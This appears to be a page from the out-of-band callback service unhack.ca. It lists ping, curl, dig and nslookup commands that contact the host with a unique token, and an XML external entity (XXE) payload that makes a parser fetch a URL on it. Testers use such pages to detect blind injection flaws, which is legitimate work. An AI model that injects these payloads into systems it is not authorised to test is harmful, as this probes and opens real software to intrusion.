$ ping -c1 -p 002dfadf7cc2b86e0f8d054a67e0c600 unhack.ca
 
$ curl http://unhack.ca/p/2dfadf7cc2b86e0f8d054a67e0c6
 
$ dig 2dfadf7cc2b86e0f8d054a67e0c6 @unhack.ca
 
$ dig 2dfadf7cc2b86e0f8d054a67e0c6.ns.unhack.ca
 
C:\> nslookup 2dfadf7cc2b86e0f8d054a67e0c6 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2dfadf7cc2b86e0f8d054a67e0c6">]>
    <foo>&xxe;</foo>
Waiting for ping...